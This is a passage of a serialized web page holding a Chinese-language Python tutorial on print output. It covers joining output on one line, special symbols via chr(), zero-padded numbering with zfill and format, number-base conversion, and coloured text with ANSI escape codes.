遍历列表  \n",{"type":18,"tag":297,"props":103996,"children":103997},{"class":299,"line":799},[103998],{"type":18,"tag":297,"props":103999,"children":104000},{},[104001],{"type":24,"value":104002},"    print(item)                           # 输出每个列表元素\n",{"type":18,"tag":34,"props":104004,"children":104005},{},[104006],{"type":24,"value":103195},{"type":18,"tag":287,"props":104008,"children":104010},{"code":104009},"南京\n苏州\n上海\n杭州\n宁波\n",[104011],{"type":18,"tag":74,"props":104012,"children":104013},{"__ignoreMap":8},[104014],{"type":24,"value":104009},{"type":18,"tag":287,"props":104016,"children":104018},{"code":104017,"language":28712,"meta":8,"className":28710,"style":8},"for item in word:                        # 输出列表变量的数据到一行  \n    print(item + \">>\",end=\"\")            # 元素之间用“>>”连接\n",[104019],{"type":18,"tag":74,"props":104020,"children":104021},{"__ignoreMap":8},[104022,104030],{"type":18,"tag":297,"props":104023,"children":104024},{"class":299,"line":300},[104025],{"type":18,"tag":297,"props":104026,"children":104027},{},[104028],{"type":24,"value":104029},"for item in word:                        # 输出列表变量的数据到一行  \n",{"type":18,"tag":297,"props":104031,"children":104032},{"class":299,"line":657},[104033],{"type":18,"tag":297,"props":104034,"children":104035},{},[104036],{"type":24,"value":104037},"    print(item + \">>\",end=\"\")            # 元素之间用“>>”连接\n",{"type":18,"tag":34,"props":104039,"children":104040},{},[104041],{"type":24,"value":103195},{"type":18,"tag":287,"props":104043,"children":104045},{"code":104044},"南京>>苏州>>上海>>杭州>>宁波>>\n",[104046],{"type":18,"tag":74,"props":104047,"children":104048},{"__ignoreMap":8},[104049],{"type":24,"value":104044},{"type":18,"tag":287,"props":104051,"children":104053},{"code":104052,"language":28712,"meta":8,"className":28710,"style":8},"team=\"广州恒大\"  \npoints=63  \nprint (team,points)            # 使用“,”可以直接连接字符串变量和数字变量  \n# 使用“+”连接字符串变量和数值变量前，必须先格式化数字变量为字符串  \nprint (team + str(points))\n",[104054],{"type":18,"tag":74,"props":104055,"children":104056},{"__ignoreMap":8},[104057,104065,104073,104081,104089],{"type":18,"tag":297,"props":104058,"children":104059},{"class":299,"line":300},[104060],{"type":18,"tag":297,"props":104061,"children":104062},{},[104063],{"type":24,"value":104064},"team=\"广州恒大\"  \n",{"type":18,"tag":297,"props":104066,"children":104067},{"class":299,"line":657},[104068],{"type":18,"tag":297,"props":104069,"children":104070},{},[104071],{"type":24,"value":104072},"points=63  \n",{"type":18,"tag":297,"props":104074,"children":104075},{"class":299,"line":662},[104076],{"type":18,"tag":297,"props":104077,"children":104078},{},[104079],{"type":24,"value":104080},"print (team,points)            # 使用“,”可以直接连接字符串变量和数字变量  \n",{"type":18,"tag":297,"props":104082,"children":104083},{"class":299,"line":799},[104084],{"type":18,"tag":297,"props":104085,"children":104086},{},[104087],{"type":24,"value":104088},"# 使用“+”连接字符串变量和数值变量前，必须先格式化数字变量为字符串  \n",{"type":18,"tag":297,"props":104090,"children":104091},{"class":299,"line":808},[104092],{"type":18,"tag":297,"props":104093,"children":104094},{},[104095],{"type":24,"value":104096},"print (team + str(points))\n",{"type":18,"tag":34,"props":104098,"children":104099},{},[104100],{"type":24,"value":103195},{"type":18,"tag":287,"props":104102,"children":104104},{"code":104103},"广州恒大 63\n广州恒大63\n",[104105],{"type":18,"tag":74,"props":104106,"children":104107},{"__ignoreMap":8},[104108],{"type":24,"value":104103},{"type":18,"tag":337,"props":104110,"children":104112},{"id":104111},"锦囊04-特殊文字符号标志输出",[104113],{"type":24,"value":104114},"锦囊04  特殊文字、符号、标志输出",{"type":18,"tag":34,"props":104116,"children":104117},{},[104118,104120,104126],{"type":24,"value":104119},"Windows 10提供的表情包（切换到微软输入法，再通过快捷键",{"type":18,"tag":74,"props":104121,"children":104123},{"className":104122},[],[104124],{"type":24,"value":104125},"Ctrl+Shift+B",{"type":24,"value":104127},"可以调出表情包）提供了大量图标和特殊符号，在PyCharm下可使用大部分表情包，但是在Python自带的IDE中只能使用部分特殊字符。",{"type":18,"tag":34,"props":104129,"children":104130},{},[104131],{"type":24,"value":104132},"在IDLE中，利用Windows 10表情包输入特殊符号，代码如下：",{"type":18,"tag":287,"props":104134,"children":104136},{"code":104135,"language":28712,"meta":8,"className":28710,"style":8},"print(\"😘😊🤣😍😒\\n💕👌❤️😁👍\")\n",[104137],{"type":18,"tag":74,"props":104138,"children":104139},{"__ignoreMap":8},[104140],{"type":18,"tag":297,"props":104141,"children":104142},{"class":299,"line":300},[104143],{"type":18,"tag":297,"props":104144,"children":104145},{},[104146],{"type":24,"value":104135},{"type":18,"tag":34,"props":104148,"children":104149},{},[104150],{"type":24,"value":104151},"输出结果如下图所示。",{"type":18,"tag":34,"props":104153,"children":104154},{},[104155],{"type":18,"tag":54,"props":104156,"children":104159},{"alt":104157,"src":104158},"Pasted image 20250812091323","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812091323.png",[],{"type":18,"tag":96,"props":104161,"children":104162},{},[104163],{"type":18,"tag":34,"props":104164,"children":104165},{},[104166],{"type":24,"value":104167},"调用系统提供的字符映射表，也可以在Pycharm下输出特殊符号和标志。",{"type":18,"tag":34,"props":104169,"children":104170},{},[104171,104173,104179,104181,104187,104189,104194,104196,104200,104202,104208,104210,104216,104217,104223,104225,104231,104233,104239,104241,104247],{"type":24,"value":104172},"按",{"type":18,"tag":74,"props":104174,"children":104176},{"className":104175},[],[104177],{"type":24,"value":104178},"win+R",{"type":24,"value":104180},"键，输入",{"type":18,"tag":74,"props":104182,"children":104184},{"className":104183},[],[104185],{"type":24,"value":104186},"charmap",{"type":24,"value":104188},"，调出字符映射表。单击想要插入到程序中的特殊字符，特殊符号将放大显示。",{"type":18,"tag":105,"props":104190,"children":104191},{},[104192],{"type":24,"value":104193},"记住放大符号旁边的字符码",{"type":24,"value":104195},"。如要输入",{"type":18,"tag":54,"props":104197,"children":104199},{"alt":8,"src":104198},"http:\u002F\u002Ftest.mingrisoft.com\u002Fuploads\u002Fres_doc\u002FPython\u002F20\u002F101\u002F9944818140306101113.files\u002Fimage008.jpg",[],{"type":24,"value":104201},"，它的字符码为",{"type":18,"tag":74,"props":104203,"children":104205},{"className":104204},[],[104206],{"type":24,"value":104207},"0x43",{"type":24,"value":104209},"，在",{"type":18,"tag":74,"props":104211,"children":104213},{"className":104212},[],[104214],{"type":24,"value":104215},"0x",{"type":24,"value":10315},{"type":18,"tag":74,"props":104218,"children":104220},{"className":104219},[],[104221],{"type":24,"value":104222},"43",{"type":24,"value":104224},"之间加入",{"type":18,"tag":74,"props":104226,"children":104228},{"className":104227},[],[104229],{"type":24,"value":104230},"f0",{"type":24,"value":104232},"(零)，即",{"type":18,"tag":74,"props":104234,"children":104236},{"className":104235},[],[104237],{"type":24,"value":104238},"0xf043",{"type":24,"value":104240},"，然后就可以通过",{"type":18,"tag":74,"props":104242,"children":104244},{"className":104243},[],[104245],{"type":24,"value":104246},"chr函数",{"type":24,"value":104248},"进行输出。代码如下：",{"type":18,"tag":287,"props":104250,"children":104252},{"code":104251,"language":28712,"meta":8,"className":28710,"style":8},"print(chr(0xf043))                      #0xf043是16进制数\n",[104253],{"type":18,"tag":74,"props":104254,"children":104255},{"__ignoreMap":8},[104256],{"type":18,"tag":297,"props":104257,"children":104258},{"class":299,"line":300},[104259],{"type":18,"tag":297,"props":104260,"children":104261},{},[104262],{"type":24,"value":104251},{"type":18,"tag":34,"props":104264,"children":104265},{},[104266,104268],{"type":24,"value":104267},"输出结果为：",{"type":18,"tag":54,"props":104269,"children":104271},{"alt":8,"src":104270},"http:\u002F\u002Ftest.mingrisoft.com\u002Fuploads\u002Fres_doc\u002FPython\u002F20\u002F101\u002F9944818140306101113.files\u002Fimage009.jpg",[],{"type":18,"tag":287,"props":104273,"children":104275},{"code":104274,"language":28712,"meta":8,"className":28710,"style":8},"#直接使用字符集的编码，输出多个特殊符号  \nprint(chr(0xf021),chr(0xf035),chr(0xf046),chr(0xf051),chr(0xf067),chr(0xf0e5),chr(0xf0f2))\n",[104276],{"type":18,"tag":74,"props":104277,"children":104278},{"__ignoreMap":8},[104279,104287],{"type":18,"tag":297,"props":104280,"children":104281},{"class":299,"line":300},[104282],{"type":18,"tag":297,"props":104283,"children":104284},{},[104285],{"type":24,"value":104286},"#直接使用字符集的编码，输出多个特殊符号  \n",{"type":18,"tag":297,"props":104288,"children":104289},{"class":299,"line":657},[104290],{"type":18,"tag":297,"props":104291,"children":104292},{},[104293],{"type":24,"value":104294},"print(chr(0xf021),chr(0xf035),chr(0xf046),chr(0xf051),chr(0xf067),chr(0xf0e5),chr(0xf0f2))\n",{"type":18,"tag":34,"props":104296,"children":104297},{},[104298,104299,104303],{"type":24,"value":104267},{"type":18,"tag":54,"props":104300,"children":104302},{"alt":8,"src":104301},"http:\u002F\u002Ftest.mingrisoft.com\u002Fuploads\u002Fres_doc\u002FPython\u002F20\u002F101\u002F9944818140306101113.files\u002Fimage011.png",[],{"type":24,"value":104304},"",{"type":18,"tag":287,"props":104306,"children":104308},{"code":104307,"language":28712,"meta":8,"className":28710,"style":8},"for i in range(0xf035,0xf045):             #设置字符集编码的区间，输出多个特殊符号  \n    print(chr(i),end=\",\")\n",[104309],{"type":18,"tag":74,"props":104310,"children":104311},{"__ignoreMap":8},[104312,104320],{"type":18,"tag":297,"props":104313,"children":104314},{"class":299,"line":300},[104315],{"type":18,"tag":297,"props":104316,"children":104317},{},[104318],{"type":24,"value":104319},"for i in range(0xf035,0xf045):             #设置字符集编码的区间，输出多个特殊符号  \n",{"type":18,"tag":297,"props":104321,"children":104322},{"class":299,"line":657},[104323],{"type":18,"tag":297,"props":104324,"children":104325},{},[104326],{"type":24,"value":104327},"    print(chr(i),end=\",\")\n",{"type":18,"tag":34,"props":104329,"children":104330},{},[104331,104332,104336],{"type":24,"value":104267},{"type":18,"tag":54,"props":104333,"children":104335},{"alt":8,"src":104334},"http:\u002F\u002Ftest.mingrisoft.com\u002Fuploads\u002Fres_doc\u002FPython\u002F20\u002F101\u002F9944818140306101113.files\u002Fimage013.jpg",[],{"type":24,"value":104337},"",{"type":18,"tag":34,"props":104339,"children":104340},{},[104341],{"type":24,"value":104342},"如果知道十进制字符编码的值也可以很方便的输入特殊字符。如要输入“←”，只要知道该符号的十进制字符编码“8592”，具体特殊字符编码十进制对照表如表1、表2所示。编写代码：",{"type":18,"tag":287,"props":104344,"children":104346},{"code":104345,"language":28712,"meta":8,"className":28710,"style":8},"print(chr(8592))\n",[104347],{"type":18,"tag":74,"props":104348,"children":104349},{"__ignoreMap":8},[104350],{"type":18,"tag":297,"props":104351,"children":104352},{"class":299,"line":300},[104353],{"type":18,"tag":297,"props":104354,"children":104355},{},[104356],{"type":24,"value":104345},{"type":18,"tag":34,"props":104358,"children":104359},{},[104360],{"type":24,"value":104361},"输出结果为：←",{"type":18,"tag":34,"props":104363,"children":104364},{},[104365],{"type":18,"tag":54,"props":104366,"children":104369},{"alt":104367,"src":104368},"Pasted image 20250812092303","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812092303.png",[],{"type":18,"tag":337,"props":104371,"children":104373},{"id":104372},"锦囊05-将多次输出内容到一行",[104374],{"type":24,"value":104375},"锦囊05  将多次输出内容到一行",{"type":18,"tag":34,"props":104377,"children":104378},{},[104379,104381,104386,104388,104393,104395,104400,104402,104407,104409,104414,104415,104421],{"type":24,"value":104380},"Python中，",{"type":18,"tag":74,"props":104382,"children":104384},{"className":104383},[],[104385],{"type":24,"value":34598},{"type":24,"value":104387},"函数默认输出结束后以换行结束，即",{"type":18,"tag":74,"props":104389,"children":104391},{"className":104390},[],[104392],{"type":24,"value":37816},{"type":24,"value":104394},"的默认值是换行符",{"type":18,"tag":74,"props":104396,"children":104398},{"className":104397},[],[104399],{"type":24,"value":102953},{"type":24,"value":104401},"，打印完会跳到新行。如果打印完成不换行，只需将end设置成其他字符串，如",{"type":18,"tag":74,"props":104403,"children":104405},{"className":104404},[],[104406],{"type":24,"value":102961},{"type":24,"value":104408}," 、",{"type":18,"tag":74,"props":104410,"children":104412},{"className":104411},[],[104413],{"type":24,"value":102969},{"type":24,"value":28447},{"type":18,"tag":74,"props":104416,"children":104418},{"className":104417},[],[104419],{"type":24,"value":104420},"《",{"type":24,"value":104422},"等字符。下面是将数字0~9输出到一行显示，代码如下：",{"type":18,"tag":287,"props":104424,"children":104426},{"code":104425,"language":28712,"meta":8,"className":28710,"style":8},"for x in range(0, 10):          # 设置输出内容区间为0~9  \n     print(x, end=' ')          # 输出数字用空格间隔输出到一行\n",[104427],{"type":18,"tag":74,"props":104428,"children":104429},{"__ignoreMap":8},[104430,104438],{"type":18,"tag":297,"props":104431,"children":104432},{"class":299,"line":300},[104433],{"type":18,"tag":297,"props":104434,"children":104435},{},[104436],{"type":24,"value":104437},"for x in range(0, 10):          # 设置输出内容区间为0~9  \n",{"type":18,"tag":297,"props":104439,"children":104440},{"class":299,"line":657},[104441],{"type":18,"tag":297,"props":104442,"children":104443},{},[104444],{"type":24,"value":104445},"     print(x, end=' ')          # 输出数字用空格间隔输出到一行\n",{"type":18,"tag":34,"props":104447,"children":104448},{},[104449],{"type":24,"value":103195},{"type":18,"tag":287,"props":104451,"children":104453},{"code":104452},"0 1 2 3 4 5 6 7 8 9 \n",[104454],{"type":18,"tag":74,"props":104455,"children":104456},{"__ignoreMap":8},[104457],{"type":24,"value":104452},{"type":18,"tag":287,"props":104459,"children":104461},{"code":104460,"language":28712,"meta":8,"className":28710,"style":8},"for x in range(0, 10):          # 置输出内容区间为0~9  \n     print(x, end='+')          # 输出数字用加号连接  \nprint(\"? = 100\")                # 输出结果和原输入内容形成计算题\n",[104462],{"type":18,"tag":74,"props":104463,"children":104464},{"__ignoreMap":8},[104465,104473,104481],{"type":18,"tag":297,"props":104466,"children":104467},{"class":299,"line":300},[104468],{"type":18,"tag":297,"props":104469,"children":104470},{},[104471],{"type":24,"value":104472},"for x in range(0, 10):          # 置输出内容区间为0~9  \n",{"type":18,"tag":297,"props":104474,"children":104475},{"class":299,"line":657},[104476],{"type":18,"tag":297,"props":104477,"children":104478},{},[104479],{"type":24,"value":104480},"     print(x, end='+')          # 输出数字用加号连接  \n",{"type":18,"tag":297,"props":104482,"children":104483},{"class":299,"line":662},[104484],{"type":18,"tag":297,"props":104485,"children":104486},{},[104487],{"type":24,"value":104488},"print(\"? = 100\")                # 输出结果和原输入内容形成计算题\n",{"type":18,"tag":34,"props":104490,"children":104491},{},[104492],{"type":24,"value":103195},{"type":18,"tag":287,"props":104494,"children":104496},{"code":104495},"0+1+2+3+4+5+6+7+8+9+? = 100\n",[104497],{"type":18,"tag":74,"props":104498,"children":104499},{"__ignoreMap":8},[104500],{"type":24,"value":104495},{"type":18,"tag":337,"props":104502,"children":104504},{"id":104503},"锦囊06-指定位数编号输出",[104505],{"type":24,"value":104506},"锦囊06  指定位数编号输出",{"type":18,"tag":34,"props":104508,"children":104509},{},[104510,104516],{"type":18,"tag":74,"props":104511,"children":104513},{"className":104512},[],[104514],{"type":24,"value":104515},"zfill()",{"type":24,"value":104517},"函数可按指定位数输出固定位数的数据编号，如将输入的数字格式化为5位编号输出，代码如下：",{"type":18,"tag":287,"props":104519,"children":104521},{"code":104520,"language":28712,"meta":8,"className":28710,"style":8},"instr=input('请输入一个数字：')  \nprint (instr.zfill(5))        # 输出5位数字编号\n",[104522],{"type":18,"tag":74,"props":104523,"children":104524},{"__ignoreMap":8},[104525,104533],{"type":18,"tag":297,"props":104526,"children":104527},{"class":299,"line":300},[104528],{"type":18,"tag":297,"props":104529,"children":104530},{},[104531],{"type":24,"value":104532},"instr=input('请输入一个数字：')  \n",{"type":18,"tag":297,"props":104534,"children":104535},{"class":299,"line":657},[104536],{"type":18,"tag":297,"props":104537,"children":104538},{},[104539],{"type":24,"value":104540},"print (instr.zfill(5))        # 输出5位数字编号\n",{"type":18,"tag":34,"props":104542,"children":104543},{},[104544],{"type":24,"value":104545},"运行程序，输入一个数字，将会格式化为5位编号，如图所示。",{"type":18,"tag":34,"props":104547,"children":104548},{},[104549],{"type":18,"tag":54,"props":104550,"children":104553},{"alt":104551,"src":104552},"Pasted image 20250812094041","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812094041.png",[],{"type":18,"tag":34,"props":104555,"children":104556},{},[104557],{"type":24,"value":104558},"如果要循环输出固定位数的数字编号，该怎么输出呢？只需使用循环语句，即可方便的输出，代码如下：",{"type":18,"tag":287,"props":104560,"children":104562},{"code":104561,"language":28712,"meta":8,"className":28710,"style":8},"for i in range(1,20):         # 设置输出区间为1~19  \n    n=str(i)                  # 将数字转为字符串  \n    s = n.zfill(3)            # 将格式化的编号赋值给s  \n    print (s)                 # 输出s\n",[104563],{"type":18,"tag":74,"props":104564,"children":104565},{"__ignoreMap":8},[104566,104574,104582,104590],{"type":18,"tag":297,"props":104567,"children":104568},{"class":299,"line":300},[104569],{"type":18,"tag":297,"props":104570,"children":104571},{},[104572],{"type":24,"value":104573},"for i in range(1,20):         # 设置输出区间为1~19  \n",{"type":18,"tag":297,"props":104575,"children":104576},{"class":299,"line":657},[104577],{"type":18,"tag":297,"props":104578,"children":104579},{},[104580],{"type":24,"value":104581},"    n=str(i)                  # 将数字转为字符串  \n",{"type":18,"tag":297,"props":104583,"children":104584},{"class":299,"line":662},[104585],{"type":18,"tag":297,"props":104586,"children":104587},{},[104588],{"type":24,"value":104589},"    s = n.zfill(3)            # 将格式化的编号赋值给s  \n",{"type":18,"tag":297,"props":104591,"children":104592},{"class":299,"line":799},[104593],{"type":18,"tag":297,"props":104594,"children":104595},{},[104596],{"type":24,"value":104597},"    print (s)                 # 输出s\n",{"type":18,"tag":34,"props":104599,"children":104600},{},[104601],{"type":24,"value":103195},{"type":18,"tag":287,"props":104603,"children":104605},{"code":104604},"001\n002\n003\n…\n",[104606],{"type":18,"tag":74,"props":104607,"children":104608},{"__ignoreMap":8},[104609],{"type":24,"value":104604},{"type":18,"tag":34,"props":104611,"children":104612},{},[104613,104614,104619,104621,104626],{"type":24,"value":88396},{"type":18,"tag":74,"props":104615,"children":104617},{"className":104616},[],[104618],{"type":24,"value":104515},{"type":24,"value":104620},"函数，",{"type":18,"tag":74,"props":104622,"children":104624},{"className":104623},[],[104625],{"type":24,"value":64161},{"type":24,"value":104627},"函数也可以实现强大的格式化输出，如：",{"type":18,"tag":287,"props":104629,"children":104631},{"code":104630,"language":28712,"meta":8,"className":28710,"style":8},"instr='112'  \nprint (format(instr,'0>5'))        # 输出5位数字编号  \nprint (format(instr,'*>5'))        # 输出5位字符串，空位用*填充  \nprint (format(instr,'>5'))         #  输出5位字符串，空位用空格填充\n",[104632],{"type":18,"tag":74,"props":104633,"children":104634},{"__ignoreMap":8},[104635,104643,104651,104659],{"type":18,"tag":297,"props":104636,"children":104637},{"class":299,"line":300},[104638],{"type":18,"tag":297,"props":104639,"children":104640},{},[104641],{"type":24,"value":104642},"instr='112'  \n",{"type":18,"tag":297,"props":104644,"children":104645},{"class":299,"line":657},[104646],{"type":18,"tag":297,"props":104647,"children":104648},{},[104649],{"type":24,"value":104650},"print (format(instr,'0>5'))        # 输出5位数字编号  \n",{"type":18,"tag":297,"props":104652,"children":104653},{"class":299,"line":662},[104654],{"type":18,"tag":297,"props":104655,"children":104656},{},[104657],{"type":24,"value":104658},"print (format(instr,'*>5'))        # 输出5位字符串，空位用*填充  \n",{"type":18,"tag":297,"props":104660,"children":104661},{"class":299,"line":799},[104662],{"type":18,"tag":297,"props":104663,"children":104664},{},[104665],{"type":24,"value":104666},"print (format(instr,'>5'))         #  输出5位字符串，空位用空格填充\n",{"type":18,"tag":34,"props":104668,"children":104669},{},[104670],{"type":24,"value":103195},{"type":18,"tag":287,"props":104672,"children":104674},{"code":104673},"00112\n**112\n  112\n",[104675],{"type":18,"tag":74,"props":104676,"children":104677},{"__ignoreMap":8},[104678],{"type":24,"value":104673},{"type":18,"tag":337,"props":104680,"children":104682},{"id":104681},"锦囊07-进制输出",[104683],{"type":24,"value":104684},"锦囊07  进制输出",{"type":18,"tag":34,"props":104686,"children":104687},{},[104688,104690,104695],{"type":24,"value":104689},"输出进制数可以采用操作符、进制转换函数和格式化函数",{"type":18,"tag":74,"props":104691,"children":104693},{"className":104692},[],[104694],{"type":24,"value":64161},{"type":24,"value":104696},"来实现。下面通过代码与注释介绍应用。",{"type":18,"tag":287,"props":104698,"children":104700},{"code":104699,"language":28712,"meta":8,"className":28710,"style":8},"x=112  \nprint(\"%o\"%x)                # 使用操作符输出八进制数  \nprint(\"%x\"%x)                # 使用操作符输出十六进制数  \nprint(\"nHex = %x,nDec = %d,nOct = %o\" %(x,x,x)) # 输出十六进制、十进制、八进制数  \nprint(bin(x))                # 使用bin()函数输出二进制数  \nprint(oct(x))                # 使用oct()函数输出八进制数  \nprint(hex(x))                # 使用hex()函数输出十六进制数\n",[104701],{"type":18,"tag":74,"props":104702,"children":104703},{"__ignoreMap":8},[104704,104712,104720,104728,104736,104744,104752],{"type":18,"tag":297,"props":104705,"children":104706},{"class":299,"line":300},[104707],{"type":18,"tag":297,"props":104708,"children":104709},{},[104710],{"type":24,"value":104711},"x=112  \n",{"type":18,"tag":297,"props":104713,"children":104714},{"class":299,"line":657},[104715],{"type":18,"tag":297,"props":104716,"children":104717},{},[104718],{"type":24,"value":104719},"print(\"%o\"%x)                # 使用操作符输出八进制数  \n",{"type":18,"tag":297,"props":104721,"children":104722},{"class":299,"line":662},[104723],{"type":18,"tag":297,"props":104724,"children":104725},{},[104726],{"type":24,"value":104727},"print(\"%x\"%x)                # 使用操作符输出十六进制数  \n",{"type":18,"tag":297,"props":104729,"children":104730},{"class":299,"line":799},[104731],{"type":18,"tag":297,"props":104732,"children":104733},{},[104734],{"type":24,"value":104735},"print(\"nHex = %x,nDec = %d,nOct = %o\" %(x,x,x)) # 输出十六进制、十进制、八进制数  \n",{"type":18,"tag":297,"props":104737,"children":104738},{"class":299,"line":808},[104739],{"type":18,"tag":297,"props":104740,"children":104741},{},[104742],{"type":24,"value":104743},"print(bin(x))                # 使用bin()函数输出二进制数  \n",{"type":18,"tag":297,"props":104745,"children":104746},{"class":299,"line":817},[104747],{"type":18,"tag":297,"props":104748,"children":104749},{},[104750],{"type":24,"value":104751},"print(oct(x))                # 使用oct()函数输出八进制数  \n",{"type":18,"tag":297,"props":104753,"children":104754},{"class":299,"line":826},[104755],{"type":18,"tag":297,"props":104756,"children":104757},{},[104758],{"type":24,"value":104759},"print(hex(x))                # 使用hex()函数输出十六进制数\n",{"type":18,"tag":34,"props":104761,"children":104762},{},[104763],{"type":24,"value":103195},{"type":18,"tag":287,"props":104765,"children":104767},{"code":104766},"160\n70\nnHex = 70,nDec = 112,nOct = 160\n0b1110000\n0o160\n0x70\n",[104768],{"type":18,"tag":74,"props":104769,"children":104770},{"__ignoreMap":8},[104771],{"type":24,"value":104766},{"type":18,"tag":287,"props":104773,"children":104775},{"code":104774,"language":28712,"meta":8,"className":28710,"style":8},"x = 112  \nprint(\"{0:d}\".format(x))            # 使用format函数输出十进制数  \nprint(\"{0:x}\".format(x))            # 使用format函数输出十六进制数  \nprint(\"{0:o}\".format(x))            # 使用format函数输出八进制数  \nprint(\"{0:b}\".format(x))            # 使用format函数输出二进制数  \nprint(\"int: {0:d};  hex: {0:x};  oct: {0:o};  bin: {0:b}\".format(x)) #综合输出进制数  \n# 综合输出带符号的各进制数  \nprint(\"二进制: {0:#b}; 八进制: {0:#o} ;十进制: {0:#d};  十六进制: {0:#x}\".format(x))\n",[104776],{"type":18,"tag":74,"props":104777,"children":104778},{"__ignoreMap":8},[104779,104787,104795,104803,104811,104819,104827,104835],{"type":18,"tag":297,"props":104780,"children":104781},{"class":299,"line":300},[104782],{"type":18,"tag":297,"props":104783,"children":104784},{},[104785],{"type":24,"value":104786},"x = 112  \n",{"type":18,"tag":297,"props":104788,"children":104789},{"class":299,"line":657},[104790],{"type":18,"tag":297,"props":104791,"children":104792},{},[104793],{"type":24,"value":104794},"print(\"{0:d}\".format(x))            # 使用format函数输出十进制数  \n",{"type":18,"tag":297,"props":104796,"children":104797},{"class":299,"line":662},[104798],{"type":18,"tag":297,"props":104799,"children":104800},{},[104801],{"type":24,"value":104802},"print(\"{0:x}\".format(x))            # 使用format函数输出十六进制数  \n",{"type":18,"tag":297,"props":104804,"children":104805},{"class":299,"line":799},[104806],{"type":18,"tag":297,"props":104807,"children":104808},{},[104809],{"type":24,"value":104810},"print(\"{0:o}\".format(x))            # 使用format函数输出八进制数  \n",{"type":18,"tag":297,"props":104812,"children":104813},{"class":299,"line":808},[104814],{"type":18,"tag":297,"props":104815,"children":104816},{},[104817],{"type":24,"value":104818},"print(\"{0:b}\".format(x))            # 使用format函数输出二进制数  \n",{"type":18,"tag":297,"props":104820,"children":104821},{"class":299,"line":817},[104822],{"type":18,"tag":297,"props":104823,"children":104824},{},[104825],{"type":24,"value":104826},"print(\"int: {0:d};  hex: {0:x};  oct: {0:o};  bin: {0:b}\".format(x)) #综合输出进制数  \n",{"type":18,"tag":297,"props":104828,"children":104829},{"class":299,"line":826},[104830],{"type":18,"tag":297,"props":104831,"children":104832},{},[104833],{"type":24,"value":104834},"# 综合输出带符号的各进制数  \n",{"type":18,"tag":297,"props":104836,"children":104837},{"class":299,"line":4524},[104838],{"type":18,"tag":297,"props":104839,"children":104840},{},[104841],{"type":24,"value":104842},"print(\"二进制: {0:#b}; 八进制: {0:#o} ;十进制: {0:#d};  十六进制: {0:#x}\".format(x))\n",{"type":18,"tag":34,"props":104844,"children":104845},{},[104846],{"type":24,"value":103195},{"type":18,"tag":287,"props":104848,"children":104850},{"code":104849},"112\n70\n160\n1110000\nint: 112;  hex: 70;  oct: 160;  bin: 1110000\n二进制: 0b1110000; 八进制: 0o160 ;十进制: 112;  十六进制: 0x70\n",[104851],{"type":18,"tag":74,"props":104852,"children":104853},{"__ignoreMap":8},[104854],{"type":24,"value":104849},{"type":18,"tag":337,"props":104856,"children":104858},{"id":104857},"锦囊08-输出彩色文字或背景",[104859],{"type":24,"value":104860},"锦囊08  输出彩色文字或背景",{"type":18,"tag":34,"props":104862,"children":104863},{},[104864,104866,104872],{"type":24,"value":104865},"在PyCharm下要输出要输出彩色，可以在输出前设置显示方式，格式为：",{"type":18,"tag":74,"props":104867,"children":104869},{"className":104868},[],[104870],{"type":24,"value":104871},"\\033[显示方式;前景色;背景色m",{"type":24,"value":104873},"。显示方式，前景色，背景色是可选参数，可以只写其中的某一个；显示方式、前景色、背景色如图所示。",{"type":18,"tag":287,"props":104875,"children":104877},{"code":104876,"language":28712,"meta":8,"className":28710,"style":8},"print('\\033[1;31m Stay hungry,Stay foolish!\\033[0m')   # 红色前景色输出名言  \nprint('\\033[1;32;45m 求知若饥,虚心若愚!\\033[0m')   # 绿色前景色输出名言，背景色为紫色\n",[104878],{"type":18,"tag":74,"props":104879,"children":104880},{"__ignoreMap":8},[104881,104889],{"type":18,"tag":297,"props":104882,"children":104883},{"class":299,"line":300},[104884],{"type":18,"tag":297,"props":104885,"children":104886},{},[104887],{"type":24,"value":104888},"print('\\033[1;31m Stay hungry,Stay foolish!\\033[0m')   # 红色前景色输出名言  \n",{"type":18,"tag":297,"props":104890,"children":104891},{"class":299,"line":657},[104892],{"type":18,"tag":297,"props":104893,"children":104894},{},[104895],{"type":24,"value":104896},"print('\\033[1;32;45m 求知若饥,虚心若愚!\\033[0m')   # 绿色前景色输出名言，背景色为紫色\n",{"type":18,"tag":34,"props":104898,"children":104899},{},[104900],{"type":24,"value":104901},"程序运行结果如图所示。",{"type":18,"tag":34,"props":104903,"children":104904},{},[104905],{"type":18,"tag":54,"props":104906,"children":104909},{"alt":104907,"src":104908},"Pasted image 20250812095053","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812095053.png",[],{"type":18,"tag":287,"props":104911,"children":104913},{"code":104912,"language":28712,"meta":8,"className":28710,"style":8},"print('go big or go\\033[1;35m home \\033[0m!')   # 设置文字中home 紫色前景色显示  \n# 设置文字中home绿色前景色，黄色背景色显示  \nprint('go big or go\\033[1;32;43m home \\033[0m!')  \nprint('\\033[1;31;44mgo big or go home \\033[0m')  # 设置文字红色前景色，蓝色背景色显示\n",[104914],{"type":18,"tag":74,"props":104915,"children":104916},{"__ignoreMap":8},[104917,104925,104933,104941],{"type":18,"tag":297,"props":104918,"children":104919},{"class":299,"line":300},[104920],{"type":18,"tag":297,"props":104921,"children":104922},{},[104923],{"type":24,"value":104924},"print('go big or go\\033[1;35m home \\033[0m!')   # 设置文字中home 紫色前景色显示  \n",{"type":18,"tag":297,"props":104926,"children":104927},{"class":299,"line":657},[104928],{"type":18,"tag":297,"props":104929,"children":104930},{},[104931],{"type":24,"value":104932},"# 设置文字中home绿色前景色，黄色背景色显示  \n",{"type":18,"tag":297,"props":104934,"children":104935},{"class":299,"line":662},[104936],{"type":18,"tag":297,"props":104937,"children":104938},{},[104939],{"type":24,"value":104940},"print('go big or go\\033[1;32;43m home \\033[0m!')  \n",{"type":18,"tag":297,"props":104942,"children":104943},{"class":299,"line":799},[104944],{"type":18,"tag":297,"props":104945,"children":104946},{},[104947],{"type":24,"value":104948},"print('\\033[1;31;44mgo big or go home \\033[0m')  # 设置文字红色前景色，蓝色背景色显示\n",{"type":18,"tag":34,"props":104950,"children":104951},{},[104952],{"type":24,"value":104953},"程序的运行结果如图所示。",{"type":18,"tag":34,"props":104955,"children":104956},{},[104957],{"type":18,"tag":54,"props":104958,"children":104961},{"alt":104959,"src":104960},"Pasted image 